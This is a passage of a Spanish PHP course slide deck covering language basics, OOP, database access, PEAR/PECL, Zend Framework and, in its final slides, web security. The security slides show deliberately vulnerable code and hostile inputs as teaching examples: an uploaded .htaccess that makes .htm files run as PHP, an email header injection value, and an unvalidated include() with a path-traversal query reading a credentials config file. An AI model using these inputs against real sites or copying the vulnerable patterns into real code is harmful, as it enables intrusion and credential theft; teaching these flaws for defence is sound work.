  • 32. PHP – PHP: Hypertext Preprocessor Variables ● Ámbito de las variables (y III) – Cuidado, pueden expandirse a otros scripts fich1.php: <?php Print: 7 Equivalente a: $a = 5; <?php include('fich2.php'); $a = 5; echo $a; echo $a fich2.php: $a = 7; <?php echo $a; echo $a; $a = 7; Print: 5
  • 33. PHP – PHP: Hypertext Preprocessor Variables ● Variables predefinidas – Superglobales ● $_GET['clave'] // Parámetros obtenidos por HTTP GET ● $_POST['clave'] // Parámetros obtenidos por HTTP POST ● $_COOKIE['clave'] // Variables de la Cookies ● $_SERVER['clave'] // Datos del entorno de ejecución ● $_FILES['clave'] // Parametros de ficheros subidos por HTTP ● $_SESSION['clave'] // Variables de sesión ● $_ENV['clave'] // Variables de entorno del sistema ● $_REQUEST['clave'] // $_GET,$_POST,$_COOKIE todo junto... ● $_GLOBALS['clave'] // Todas las variables globales – $php_errormsg //Último mensaje de error – $HTTP_RAW_POST_DATA //depende de php.ini – $http_response_header //cabeceras de respuesta – $argc //Número de argumentos del script – $argv //Array con los argumentos del script
  • 34. PHP – PHP: Hypertext Preprocessor Constantes
  • 35. PHP – PHP: Hypertext Preprocessor Constantes ●Declaración define(“PI”,3.14); ● Uso echo 'El valor de Pi es: ' . PI; $diametro = 2 * PI * $radio
  • 36. PHP – PHP: Hypertext Preprocessor Constantes ● Constantes “mágicas”: – Constantes de ayuda predefinidas por PHP ● __LINE__ // Linea actual ● __FILE__ // Ruta al fichero actual ● __DIR__ // Ruta al directorio actual (PHP 5.3) ● __FUNCTION__ // Nombre función actual ● __CLASS__ // Nombre de la clase ● __METHOD__ // Nombre del método ● __NAMESPACE__ // Nombre namespace actual (PHP5.3)
  • 37. PHP – PHP: Hypertext Preprocessor Tipo de datos
  • 38. PHP – PHP: Hypertext Preprocessor Tipo de datos ● Tipo de datos – Booleanos – Enteros – Coma flotante (Floats) – Cadenas (Strings) – Arrays – Objetos – Recursos (Conexión mysql, fichero, etc...) – NULL
  • 39. PHP – PHP: Hypertext Preprocessor Tipo de datos ● Tipado débil – El tipo depende del valor asignado a la variable – El tipo puede variar durante el script!! ● Comprobación de tipos – is_array() – is_float() – is_int() – is_object() – is_string() – get_type() – ===
  • 40. PHP – PHP: Hypertext Preprocessor Tipo de datos ● Declaración y autoconversión $var = "0"; $var es una cadena “0” $var++; $var es la cadena "1" $var += 1; $var ahora es un entero (2) $var = $var + 1.3; $var ahora es un float (3.3) $var = 5 + "10 Cosas"; $var es entero (15) !!!!!! $var2 = &$var; $var2 = 55; $var2 es un entero (55) y... CUIDADO!! $var ahora es 55
  • 41. PHP – PHP: Hypertext Preprocessor Tipo de datos ● “Casting” de datos – (int),(integer) – (bool),(boolean) – (float),(double),(real) – (string) – (binary) – (array) – (object) – (unset)
  • 42. PHP – PHP: Hypertext Preprocessor Tipo de datos ● Arrays – Colección ordenada de datos (variables), indexados en función a una colección de índices. En PHP los arrays pueden ser escalares, asociativos e incluso mixtos. $a = array(); # omitible $a = array( $a[0] = “valor1”; “valor1”, $a[1] = 2; 2, $a[“color”] = “rojo”; ”color” => “rojo”, $a[] = “uno_mas”; “uno_mas” );
  • 43. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control
  • 44. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control ● Condicionales ● Iteradores
  • 45. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control ● Condicionales ● Iteradores
  • 46. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Condicionales ● If ... else $num = 3; if ($num >= 3 ){ echo "$num es mayor o igual a 3"; }else{ echo "$num es menor que 3"; }
  • 47. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Condicionales ● Operador ternario $data = 3 echo ($num >= 3)? "$num es mayor o igual a 3" : "$num es menor que 3";
  • 48. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Condicionales ● Switch...case $i = rand(0,2); if ($i == 0) { switch ($i) { echo "i es cero"; case 0: } elseif ($i == 1) { echo "i es cero"; echo "i es uno"; break; } elseif ($i == 2) { case 1: echo "i es dos"; echo "i es uno"; } else{ break; echo "Como que else?? O_o"; case 2: } echo "i es dos"; break; Default: echo "Como que default?? O_o"; }
  • 49. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control ● Condicionales ● Iteradores
  • 50. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control ● Condicionales ● Iteradores
  • 51. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Iteradores ● While (0-N) $i=0; while($i<=9){ echo $i++; } ++$i ?
  • 52. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Iteradores ● Do...While (1-N) $i = 0; do { echo $i++; }while ($i <= 9);
  • 53. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Iteradores ● For for($i=0;$i<=9;$i++){ echo $i; }
  • 54. PHP – PHP: Hypertext Preprocessor Estructuras básicas de control - Iteradores ● Foreach $colores_primarios = array( 'rojo' = '#ff0000', 'verde' = '#00ff00', 'azul' = '#0000ff' ); foreach($colores_primarios as $nombre => $valor){ echo 'El valor hexadecimal del color ' . $nombre . ' es: ' . $valor . '<br />'; }
  • 55. PHP – PHP: Hypertext Preprocessor Programación Orientada a Objetos (POO)
  • 56. PHP – PHP: Hypertext Preprocessor Programación Orientada a Objetos en PHP ● ¿Qué es? – Paradigma de programación – Se utilizan “objetos” y sus interacciones para diseñar la aplicación ● ¿Para qué? – Más fácil de escribir – Más fácil de mantener – Más fácil reutilizar el código ● Necesario un muy buen diseño para esto
  • 57. PHP – PHP: Hypertext Preprocessor POO en PHP ● Qué es un objeto? – Abstracción de un hecho o cosa del mundo real – Una instancia de una clase ● “Mi coche” es un objeto ● Qué es una clase? – Definición de los objetos de un mismo tipo ● “Coche” es una clase ● De que está compuesta una clase? – Atributos ● Características o propiedades del objeto (Número de puertas, color, etc...) – Métodos ● Comportamientos o acciones aplicables al objeto (acelerar, frenar, etc.)
  • 58. PHP – PHP: Hypertext Preprocessor POO en PHP ● Visibilidad de miembros – public: visible desde cualquier ámbito – private: visible sólo desde la propia clase (caja negra) – protected: visible desde la propia clase y las que hereden*. – final: como public pero las herederas no pueden sobreescribir (override*)
  • 59. PHP – PHP: Hypertext Preprocessor Atributos POO en PHP class Coche { Constante protected $pos_x, $pos_y, $pos_y; Constructor const VEL_MAX = 166; Método function __construct($x=0,$y=0,$vel=0){ $this->pos_x = $x; $this->pos_y = $y; $this->vel = $vel; } public function acelerar($valor) { if ($this->vel <= Coche::VEL_MAX)$this->vel+= $valor; } public function frenar($valor) { Método mágico $this->acelerar(-$valor); } public function __toString() { return 'Coche a ' . $this->vel . ' km/h y en pos (' . $this->pos_x . '.' . $this- >pos_y . ')' . "n"; } }
  • 60. PHP – PHP: Hypertext Preprocessor POO en PHP ● Métodos estáticos class Animal { protected static $color = 'Black'; public static function getColor() { return self::$color; } } ..... echo Animal::getColor(); // Black
  • 61. PHP – PHP: Hypertext Preprocessor POO en PHP ● Extendiendo clases (herencia)
  • 62. PHP – PHP: Hypertext Preprocessor POO en PHP ● Extendiendo clases (herencia) class Gato extends Animal { protected static $color = 'Brown'; public function hacer_sonido() { return 'miau'; } } class Perro extends Animal { protected static $color = 'Grey'; public function hacer_sonido() { return 'guau'; } } –
  • 63. PHP – PHP: Hypertext Preprocessor POO en PHP <?php Todo animal hace sonido echo Animal::getColor(); //Negro (comportamiento común) echo Cat::getColor(); //Negro!!! $mi_gato = new Cat(); $mi_perro = new Dog(); $mi_animal = new Animal(); echo $mi_gato->hacer_sonido(); echo $mi_perro->hacer_sonido(); echo $mi_animal->hacer_sonido(); ??????? ?> Pero que sonido class Animal hace un animal?? { ..... public function hacer_sonido() { return “???”; } }
  • 64. PHP – PHP: Hypertext Preprocessor POO en PHP ● Clases abstractas –Existen los objetos gatos y los objetos perros, pero.. ¿los objetos animales? abstract class Animal { public abstract function hacer_sonido(); } No instanciables!!!
  • 65. PHP – PHP: Hypertext Preprocessor POO en PHP ● Sobrecarga de métodos (Overloading) – En PHP no se puede crear el mismo método con diferente número de parámetros – Pero creamos métodos y atributos dinámicamente!!! – Se accede a ellos a través de los métodos mágicos: ● Para los parámetros __set, __get, __isset y __unset ● Para los métodos __call y __callStatic
  • 66. PHP – PHP: Hypertext Preprocessor POO en PHP ● Métodos mágicos disponibles: – __construct – __destruct – __call – __callStatic – __get – __set – __isset – __unset – __sleep – __wakeup – __toString – __invoke – __set_state – __clone
  • 67. PHP – PHP: Hypertext Preprocessor POO en PHP ● Sobrecarga de propiedades (Overloading) – Ejercicio. Clase Circulo
  • 68. PHP – PHP: Hypertext Preprocessor Serialización (a petición del público) ;)
  • 69. PHP – PHP: Hypertext Preprocessor Serialización ● Podemos serializar los objetos para almacenarlos en la Sesión class Punto { public $x; public $y; public function __construct($x = 0, $y = 0){ $this->x = $dato1; $this->y = $dato2; } public function __sleep(){ return array('x', 'y'); } public function __wakeup(){ //pe. Si tuviesemos una conexión a la BBDD, reconectariamos }
  • 70. PHP – PHP: Hypertext Preprocessor Serialización ● Introducimos los datos en la sesión serializados $prueba = new Punto(5,6,7); $_SESSION['prueba'] = serialize($prueba); ● Y los obtenemos “un”serializados: $prueba = unserialize($_SESSION['prueba']);
  • 71. PHP – PHP: Hypertext Preprocessor Patrón Singleton
  • 72. PHP – PHP: Hypertext Preprocessor Patrón Singleton ● Características – Solo se genera una instancia – No se puede acceder a su constructor – No se puede clonar – Se accede a él a través de un método estático ● Clase::getInstance() ● Para qué?? – Si solo queremos tener una instancia de algo (y es absurdo tener más) – Hacer trampa para tener variables globales
  • 73. PHP – PHP: Hypertext Preprocessor Patrón Singleton class Configuracion { private static $instance; protected $data = array(); private function __construct() { //Lógica para obtener toda la configuración de la aplicación desde la BBDD //y almacenarla en $data }
  • 74. PHP – PHP: Hypertext Preprocessor Patrón Singleton // EL metodo singleton public static function getInstance() { if (!isset(self::$instance)) { $c = __CLASS__; self::$instance = new $c; } return self::$instance; } // Clone no permitido public function __clone() { throw new Exception('Clone no soportado.'); } } ●
  • 75. PHP – PHP: Hypertext Preprocessor Patrón Factory
  • 76. PHP – PHP: Hypertext Preprocessor Patrón Factory <?php class Config {     public static function factory($type)     {         if (include_once 'Config/' . $type . '.php') {             $classname = 'Config_' . $type;             return $classname::getInstance();         } else {             throw new Exception ('Tipo de configuración no disponible');         }     } } ?> <?php $file_config = Config::factory('File'); $db_config =Config::factory('Db'); ?>
  • 77. PHP – PHP: Hypertext Preprocessor Excepciones
  • 78. PHP – PHP: Hypertext Preprocessor Excepciones ● Excepciones – Peor que una aplicación tenga un error en tiempo de ejecución, es que el usuario vea en su navegador dicho error, mostrando a veces información comprometida con consecuencias para la seguridad. – Desde PHP5 se implementaron excepciones en PHP de manera muy similar a otros lenguajes de programación. – La clase incorporada en PHP extensible para implementar funciones concretas.
  • 79. PHP – PHP: Hypertext Preprocessor Excepciones <?php class Exception { protected $message = 'Unknown exception'; protected $code = 0; protected $file; protected $line; function __construct($message = null, $code = 0); final function getMessage(); final function getCode(); final function getFile(); final function getLine(); final function getTrace(); final function getTraceAsString(); function __toString(); } ?>
  • 80. PHP – PHP: Hypertext Preprocessor Excepciones try { $error = 'Siempre lanzar la excepción'; throw new Exception($error); echo “No se ejecuta”; } catch (Exception $e) { echo 'Excp. Capturada: ' . $e->getMessage() . "n"; } class miExcepcion extends Exception { public function mailAdmin(); } try { $error = 'Siempre lanzar la excepción'; throw new miExcepcion($error); echo “No se ejecuta”; } catch (Exception $e) { echo 'Excp. Capturada: ' . $e->getMessage() . "n"; $e->mailAdmin(); }
  • 81. PHP – PHP: Hypertext Preprocessor Acceso a SGBD
  • 82. PHP – PHP: Hypertext Preprocessor Mysql ● MySql: el SGBD de LAMP ● Instalación de MySQL ● Configuración de Mysql (my.cnf)
  • 83. PHP – PHP: Hypertext Preprocessor Conceptos ● Conceptos: – API (Application programming interface): colección de clases/métodos/funciones que utiliza tu aplicación para realizar las tareas. – Conector/Driver: software encargado de la conexión a un SGBD. – Extensión: módulo externo cargable en PHP que amplía el API disponible.
  • 84. PHP – PHP: Hypertext Preprocessor Comparativa P D O (co n P D O P HP 's M yS Q L P HP 's m ys ql i M yS Q L D ri ve r y Ex t en s io n Ex t en s io n M yS Q L N a t ive D ri ve r ) versión PHP antes de 3.0 5.0 5.0 incluído en PHP5 Sí Sí Sí vendrá en PHP6 Sí Sí Sí estátus mantenimiento desarrollo activo desarrollo activo recomendado Sí – opción Sí, facilita varios para nuevos No preferida SGBD proyectos Soporta charsets No Sí Sí soporta procedimientos No Sí Sí almacenados Soporta toda las funcionalidades deNo Sí La mayoría Mysql 4.1+
  • 85. PHP – PHP: Hypertext Preprocessor ext/Mysql ● Ext/MySQL – Extensión de PHP para Mysql. – Interfaz procedural. – PHP4. – En desuso (no recomendado para Mysql > 4.1.3)
  • 86. PHP – PHP: Hypertext Preprocessor ext/Mysqli ● Mysqli : Mysql improved extension. – Aprovecha nuevas funcionalidades de Mysql >= 4.1.3 – PHP5 – Permite Orientación a Objetos – Soporte de sentencias “preparadas” (prepared statements) – Soporte de sentencias múltiples – Soporte para transacciones
  • 87. PHP – PHP: Hypertext Preprocessor Ejemplo ext/Mysqli mysql> create database ehu; mysql> use ehu; mysql> CREATE TABLE personas (id_persona INT NOT NULL AUTO_INCREMENT PRIMARY KEY, nombre VARCHAR (40), apellidos VARCHAR (40)); Query OK, 0 rows affected (0.15 sec) mysql> INSERT INTO personas(nombre,apellidos) VALUES("alayn",”gortazar”); ...... <html> <head><title>Ejemplo Mysqli</title><head><body><h1>Tabla</h1> <?php $conexion = mysqli_connect("localhost","ehu","passss"); mysqli_select_db($conexion,"ehu"); $consulta = mysqli_query($conexion,"SELECT nombre FROM personas"); while ($items = mysqli_fetch_row($consulta)) { foreach($items as $key=>$value) { echo "<p>" . $value . "</p>"; } } ?></body></html>
  • 88. PHP – PHP: Hypertext Preprocessor PDO ● PHP Data Objects – Capa de abstracción – API común a todo SGBD. ● Menos cambios necesarios para Mysql --> PostgreSql – DSN – Drivers – Funcionalidades ampliadas – Desventaja: ● PDO no siempre soporta todas las funcionalidades del SGBD.
  • 89. PHP – PHP: Hypertext Preprocessor Ejemplo PDO/Mysql <html><head><title>Ejemplo MysqlPDO</title><head><body><h1>Tabla</h1> <?php $db = new PDO("mysql:host=localhost;dbname=curso_ehu", "usuario", "passs"); $consulta = $db->prepare("SELECT nombre FROM gente"); $consulta->execute(); $items = $consulta->fetchAll(); foreach($items as $key=>$value) { echo "<p>" . $value["nombre"] . "</p>"; } ?> </table></body></html>
  • 90. PHP – PHP: Hypertext Preprocessor MySQL a bajo nivel ● Mysql extension, Mysqli y Mysql PDO se sirven de una librería que implementa el protocolo. Esta librería es a bajo nivel (C). Hay dos disponibles: – libmysql (Mysql client library) ● Primero que hubo. ● Originalmente pensado para C, no optimizado para PHP. ● Soporte para SSL – mysqlnd (Mysql Native driver) ● Disponible a partir de PHP 5.3 ● Diseñado específicamente para PHP. ● Mejor uso de memoria ● Más rápido ● Recomendada actualmente ● Pero no soporta SSL :(
  • 91. PHP – PHP: Hypertext Preprocessor SSL en MySQL ● PHP, SSL y MySQL – Necesitamos que MySQL esté compilado con soporte para SSL – Necesitamos asegurarnos de que la extensión mysqli utiliza la librería libmysql y no mysqlnd ● Por ahora no hay problema, mysqlnd >= PHP 5.3 – Antes de realizar un mysqli_real_connect ● Orientado a Objetos – Bool mysqli::ssl(string $key , string $cert , string $ca , string $capath , string $cipher ) ● Procedural – bool mysqli_ssl_set ( mysqli $link , string $key , string $cert , string $ca , string $capath , string $cipher ) ● http://es.php.net/manual/en/mysqli.ssl-set.php
  • 92. PHP – PHP: Hypertext Preprocessor PEAR
  • 93. PHP – PHP: Hypertext Preprocessor PEAR ● PHP Extensión and Application Repository – Framework enfocado a la “Comunidad” – Fundado en 1999 – Gran lista de librerías – Dividido en paquetes, cada paquete un equipo ● Objetivo – Fomentar reutilización de código. – Crear un acceso estándar a librerias – Mantener un estándar en el estilo en la programación – Codificación estándar. – Mantenimiento centralizado
  • 94. PHP – PHP: Hypertext Preprocessor PEAR ● Instalación “standalone” – http://pear.php.net/go-pear ● Instalación en el sistema – Debian/Ubuntu: apt-get install php-pear :) – Instalar librerías ● pear install paquete_Libreria ● Modo de uso – require_once “paquete.php” – Cuidado, comprobar el include_path!!!
  • 95. PHP – PHP: Hypertext Preprocessor PEAR ● Desventajas – Aunque está bien pensado, es fácil tener problemas con las dependencias. ● pear config-set preferred_state alpha|beta|stable – El paquete de Debian parece estar roto :(
  • 96. PHP – PHP: Hypertext Preprocessor PECL
  • 97. PHP – PHP: Hypertext Preprocessor PECL ● PHP Extension Community Library (“pickle”) – Clases escritas en C/C++ – Similar a PEAR, de hecho usa Pear PM. – Más eficientes que PEAR. – Muchas de ellas son extensiones típicas de PHP
  • 98. PHP – PHP: Hypertext Preprocessor PECL ● Instalación automática – Igual que con pear ● pecl install paquete ● Instalación manual – Necesitamos el paquete php5-dev – Descargamos fuentes – Compilamos e instalamos la librería # cd /path/al/modulo # phpize # ./configure # make # make install //Esto lo instala en /usr/lib/php5/20060613 o algo por el estilo – Configuramos la extension en PHP (/etc/php5/conf.d/extension.ini) extension=nom_extension.so
  • 99. PHP – PHP: Hypertext Preprocessor Frameworks
  • 100. PHP – PHP: Hypertext Preprocessor Frame = marco Work = trabajo Cualquier que haya pretendido construir una aplicación de envergadura media, ha creado su propio “framework”: Reutilización de código Fácil Mantenimiento / legibilidad Abstración en la capa de acceso a datos Utilizar una librería de funciones es utilizar un Framework.
  • 101. PHP – PHP: Hypertext Preprocessor Utilización de framework propio (generalmente) –Pros: – Agilidad de uso – Alto conocimiento de la estructura – Flexibilidad – Seguridad (por ocultación) –Contras – Desarrollado por un grupo reducido (lento) – Poco testing – Estructura desorganizada
  • 102. PHP – PHP: Hypertext Preprocessor MVC MVC –Paradigma de programación nacido en 1978 de la mano de Xerox PARC. –Separa el código en 3 partes lógicas: –Modelo – Representa el modelo de datos que va a utilizar la aplicación. – El “sujeto” en una aplicación. – Debe contener toda la lógica de negocio de la aplicación. –Vista – Contiene la lógica de visualización (XHTML para aplicaciones web). – Mezcla la lógica de datos con las acciones en el controlador, para devolver la salida al usuario.
  • 103. PHP – PHP: Hypertext Preprocessor Controlador – Representa la acción a ejecutar el modelo de datos que va a utilizar la aplicación. – El controlador para un modelo, podría considerarse como el “verbo” – Desde aquí se invocará la lógica de negocio contenida en el modelo.
  • 104. PHP – PHP: Hypertext Preprocessor Frameworks más utilizados Symphony –(mvc, orm, ajax, caching, NO templates...) –Bastante soporte Prado –(mvc, orm, ajax, caching, templates, EDP) –Complejo CakePHP –(mvc, orm, ajax, caching, NO templates...) –Fácil aprendizaje Zend Framework –(mvc, ajax, caching, NO templates, components) –Muy Flexible y “fácil aprendizaje”
  • 105. PHP – PHP: Hypertext Preprocessor Zend
  • 106. PHP – PHP: Hypertext Preprocessor Introducción Zend Framework es un framework híbrido –Componentes usables de modo stand-alone ●Es fácil empezar a utilizar Zend al estilo PEAR. Sin cambiar el paradigma de la aplicación existente. –Core MVC Implementación completa del Modelo-Vista-Controlador ● Amplio soporte de la comunidad –Existen más colaboradores libres, que trabajando para Zend. –La comunidad libera componentes que pasan a la incubadora. –Utilización de PHPUnit para testing (calidad). Zend es la empresa detrás del engine PHP –Soporte de otras grande empresas como IBM o Google.
  • 107. PHP – PHP: Hypertext Preprocessor Junio 2005 –Comenzó oficialmente el desarrollo Abril 2006 –Primera beta pública (0.1.3) Junio 2007 –Ver 1.0.0 Marzo 2009 –Ver 1.7.8 Actualmente –Ver 1.9
  • 108. PHP – PHP: Hypertext Preprocessor Licencia estilo BSD (estilo Apache): –Permite desarrollar proyectos opensource. –Permite desarrollar aplicaciones comerciales. Cada persona que desarrolle para Zend framework, tiene que firmar un Acuerdo de Licencia de Contribuidor (CLA), lo que garantiza que el código o cualquier concepto sujeto a Propiedad Intelectual sean libres. http://framework.zend.com/license
  • 109. PHP – PHP: Hypertext Preprocessor ● Descarga de Zend Framework –Modo descarga http://framework.zend.com/download ● Descargarse la última versión estable (1.9.5) ● ●El contenido dentro de la carpeta “library” será el framework propiamente dicho. –Modo SVN Checkout del último tag disponible ● svn co http://framework.zend.com/svn/framework/standard/tags/ release-1.9.5/library/Zend/ Zend
  • 110. PHP – PHP: Hypertext Preprocessor Reescritura peticiones HTTP ●Debemos asegurarnos de que modrewrite está activado en nuestro Apache2 # a2enmod rewrite # /etc/init.d/apache restart ● En desarrollo será suficiente con tener un fichero .htaccess ocupándose de esta tarea. ● En producción es recomendable especificarlo en el fichero de configuración de apache, para mejorar el rendimiento.
  • 111. PHP – PHP: Hypertext Preprocessor ● Crear la estructura básica de Zend – Zend nos proporciona un script de consola para esto: zf.sh zf.sh create project ejemplo – No genera cuatro directorios con sus correspondientes subdirectorios. ● Public: – El único directorio que expondremos al exterior. – Principalmente contendrá el index.php (que se encargará de arrancar toda la aplicación), las imagenes, los archivos css, los archivos js, etc... ● Library: – Las librerías de zend_framework y si queremos otras, pues también. Las de Zend deberemos copiarlas o linkarlas, no se incluyen por defecto ● Application: – Aquí va la aplicación como tal. ● Tests: – Archivos para Unit Testing
  • 112. PHP – PHP: Hypertext Preprocessor Partimos de un directorio donde estarán todos los ficheros web (/var/www por ejemplo) /var/www/ /var/www/lib/ ← Contendrá ficheros de terceros /var/www/lib/Zend ← Zend Framework /var/www/application/ ← Ficheros de nuestra aplicación /var/www/app1ication/controllers ← Controladores /var/www/app1ication/models ← Modelos /var/www/app1ication/views ← Vistas /var/www/app1ication/views/scripts/ ← contenedora de las vistas /var/www/app1ication/views/scripts/index /var/www/app1ication/views/helpers/ ← dir para helpers de views /var/www/public/ <- Document Root del Apache /var/www/public/images/ <- directorios web “normales” /var/www/public/css/
  • 113. PHP – PHP: Hypertext Preprocessor Bootstrap ●Fichero que se encarga de redirigir todas las peticiones HTTP a nuestra aplicación. – public/index.php – Se asegura de que todas las librerias necesarias están incluidas – Llama al bootstrap (sistema de inicialización) de Zend_Framework
  • 114. PHP – PHP: Hypertext Preprocessor Bootstrap ● Fichero de bootstrap – application/Bootstrap.php – Se encarga de inicializar todos los recursos de Zend Framework – En un principio está prácticamente vacio, ya lo rellenaremos nosotros con lo que necesitemos – El Front_Controller se lanza por defecto. No necesita inicializarse desde aquí
  • 115. PHP – PHP: Hypertext Preprocessor Controlador ● Action Controllers – application/controllers/{controlador}Controller.php – Acciones que se ejecutarán dependiendo de la ruta obtenida – En Zend por defecto las urls son: ● http://servidor/aplicación/modulo/controlador/accion ● Se puede modificar a nuestro antojo ● El módulo no es obligatorio, por defecto = “Default” – Los Controladores extienden de Zend_Controller_Action public function {nombre}Action ● Los métodos con este tipo de nombre se llaman automáticamente a través de la acción
  • 116. PHP – PHP: Hypertext Preprocessor Controlador ● Los métodos en Zend se escriben utilizando camel-case – Comenzando en minúscula, las palabras se separan poniendo la primera letra en mayúscula. – El siguiente método dentro de un controlador llamado viajes (ViajesController.php), sería algo así: class ViajesController extends Zend_Controler_Action { public function reservarVueloAction() {} } – La URL que invocaría dicha acción en el controlador sería, sin embargo, en minúsculas, separando las palabras con un guión: http://example.com/viajes/reservar-vuelo
  • 117. PHP – PHP: Hypertext Preprocessor Vistas ● Vistas – views/scripts/{controlador}/{accion}.phtml – Vista que se utilizara dependiendo del controlador y la acción obtenida – Una vista especifica normalmente el contenido XHTML que se utilizará para renderizar la página. – También es posible que el resultado sea XML, JSON o incluso contenido binario como una imagen o un PDF. – Las vistas serán específicas para cada *Action de un Controlador. – Esto se puede sobreescribir
  • 118. PHP – PHP: Hypertext Preprocessor ● La vista como “objeto”, estará disponible dentro como la propiedad “view” dentro del controlador. IndexController.php public function IndexController() { $this->view->titulo = “Hola Mundo”; } ● Mediante el método mágico __set se creará la propiedad aunque no exista, y estará disponible dentro de la vista. index.phtml <?php echo $this->titulo ?> ● En la vista se puede programar PHP de manera normal, aunque por concepto, no debe contener lógica de negocio.
  • 119. PHP – PHP: Hypertext Preprocessor Escape() – Función disponible en la vista, que deberá usarse para evitar valores malicioso en las variables que llegan a la vista. $this->escape($valor); – Por defecto, llamará a la función htmlentities. – Es configurable desde el controlador mediante el método de la vista setEscape. $this->view->setEscape('funcion_a_medida'); $this->view->setEscape(array($obj,'metodo_publico'); $this->view->setEscape(array('clase','metodo_estatico');
  • 120. PHP – PHP: Hypertext Preprocessor Helpers::Vistas Helpers, o “ayudadores” de vistas, son utilizados para encapsular funciones complejas y/o repetitivas dentro de las vistas. Existen varios helpers instanciados incialmente en la clase Zend_View – FormText(); – FormSubmit(); – FormLabel(); – HtmlList(); – Etc...
  • 121. PHP – PHP: Hypertext Preprocessor Helpers::Vistas Es posible crear nuestros propios helpers a nuestra medida. Deben (no siempre) almacenarse en un directorio establecido: /var/www/app1/views/helpers/NombreDelHelper.php La clase debe denominarse con el prefijo Zend_View_Helper_NombreDelHelper, y el método que se invocará se llamara “NombreDelHelper”. Class Zend_View_Helper_NombreDelHelper { public function NombreDelHelper($param) {} }
  • 122. PHP – PHP: Hypertext Preprocessor Modelo Existen varias tendencias a la hora de entender e implementar un modelo de datos: – Sin Modelo: donde la lógica de negocio estará encapsulada dentro del controlador (desaconsejada para aplicaciones de tamaño considerable). – Modelo Ligero: implementa funciones básicas basándose en datos introducidos desde el controlador. – Modelo Pesado: encapsula la lógica de los datos además de la lógica de negocio.
  • 123. PHP – PHP: Hypertext Preprocessor Modelo ● Un Modelo será una clase en el siguiente directorio de nuestro árbol de directorios: /var/www/app1/models/Modelo.php ● Esta vez, no tiene que “necesariamente” heredar de ninguna clase del Framework para funcionar. ● La estructura de herencias de los modelos será tan compleja como el programador quiera hacerla. ● Se recomienda mantener la nomenclatura de Zend Framework y el Namespace – Default_Model_NombreModel.php
  • 124. PHP – PHP: Hypertext Preprocessor ● application/configs/application.ini – Fichero de configuración resources.db.adapter = "PDO_MYSQL" resources.db.params.dbname = "cursosp" resources.db.params.username = "root" resources.db.params.password = "root" – Podemos configurar rutas en el FS resources.layout.layoutPath = APPLICATION_PATH "/layouts/scripts" – Podemos inicializar recursos resources.view[] = – Podemos configurar el enrutamiento (urls) resources.router.routes.subaction.route = ":controller/:action/:subaction/*"
  • 125. PHP – PHP: Hypertext Preprocessor Seguridad en PHP
  • 126. PHP – PHP: Hypertext Preprocessor ● Nociones básicas - Conceptos – La seguridad es una medida, no una característica ● Quiero una aplicación segura (Vale, me alegro por ti, pero...) – Mantener balance entre coste y seguridad ● Una nivel adecuado de seguridad no tiene por qué incrementar el coste, pero obviamente no es lo mismo la web de un banco, que la de mi ferretería. – Mantener balance entre usabilidad y seguridad ● Session timeouts – La seguridad debe ser parte del diseño
  • 127. PHP – PHP: Hypertext Preprocessor ● Nociones básicas - Técnicas – No confiar en el usuario. ● Filter Input Escape Output (FIEO) – Mantener PHP actualizado – Mantener las librerias actualizadas (dentro de lo posible) – Mantener todo los datos “sensibles” fuera del acceso web. /public ← Apache solo debería acceder aquí /library /application – Procurar mantener una configuración PHP los más restrictiva posible, pero acorde a nuestras necesidades
  • 128. PHP – PHP: Hypertext Preprocessor ● Configuración de PHP – No mostrar la información sobre los errores en la web. ● Loguear los errores php.ini ======= display_errors = Off log_errors = On – Comprobar la configuración. ● Phpsecinfo nos puede ayudar a comprobar las opciones más sensibles – Solo es un análisis rápido – No hace falta hacer caso a todo lo que nos dice, podríamos quedarnos sin ciertas funcionalidades. CUIDADO – El parámetro php_safe a Off por favor, nos dará una falsa sensación de seguridad. ● Gracias :)
  • 129. PHP – PHP: Hypertext Preprocessor ● Archivos dentro del directorio público – Comprobar que no se nos quedan ficheros de testing o diagnóstico que en principio eran temporales. ● info.php ● test.php ● phpsecinfo :p – Comprobar que los editores no nos han dejado archivos de backup!!!! – Restringir el acceso a directorios de sistemas de control de versiones u otrasaplicaciones utilizadas para el despliegue RewriteRule ^(.*/)?.svn/ - [F,L]
  • 130. PHP – PHP: Hypertext Preprocessor ● Uploads – Cuidado con lo que dejamos subir al servidor – Cuidado donde lo guardamos – La obtención de los ficheros subidos debería estar controlada (“download.php”) – Ejemplo: ● No permitimos subir ficheros con extensíon PHP para que no puedan subir un script y ejecutarlo. OK ● Pero, no controlamos que nos suban un .htaccess. – Letxes, que despiste!! AddType application/x-httpd-php .php .htm ● Ahora los .htm también se interpretan por PHP!!!! – Vaya liada :(
  • 131. PHP – PHP: Hypertext Preprocessor ● Email header injection – Un atacante podría enviar emails a través de un formulario, modificando las cabeceras. – FIEO!! mail($to,$subject,$message,$headers); <?php mail('usuario@example.com',$_POST['asunto'], $_POST['mensaje'],'From:' . $_POST['from']); ?> $_POST['from'] = malo@malosos.com%0cc:victima@victimillas.org%0
  • 132. PHP – PHP: Hypertext Preprocessor ● Validar las entradas – Filtrar != Validar ● Filtrar = Quitar caracteres/cadenas extraños/as ● Validar = Asegurarnos de que el valor es válido <?php $miFichero = $_GET['fichero']; include($miFichero); ?> !!!!!! index.php?fichero=/../application/configs/application.ini !!!!!! – Asegurarnos de que los datos que nos están introduciendo son válidos!
  • 133. PHP – PHP: Hypertext Preprocessor ● Robo de sesión – Antes PHP solía mantener la sesión pasando el id de sesión como parámetro $_GET o $_POST. – Permitía poder asignarle un id de sesión a un usuario a través de un enlace. – Hoy en día ya no es tan fácil, la sesión se almacena en la cookie de sesión y se envía en las cabeceras. – Aun así podemos mejorar la seguridad: ● Además del id de sesión, podemos guardar el user-agent del cliente + un seed secreto y hacer un md5 de todo. $_SESSION['fingerprint'] = md5($_SERVER['User-Agent'] . 'TxurroSeed'); ● Después comprobamos que el fingerprint sigue siendo el mismo y así sabemos que al menos no ha cambiado de navegador... :) ● Podemos mejorar esto si el Seed además también depende de la sesión.
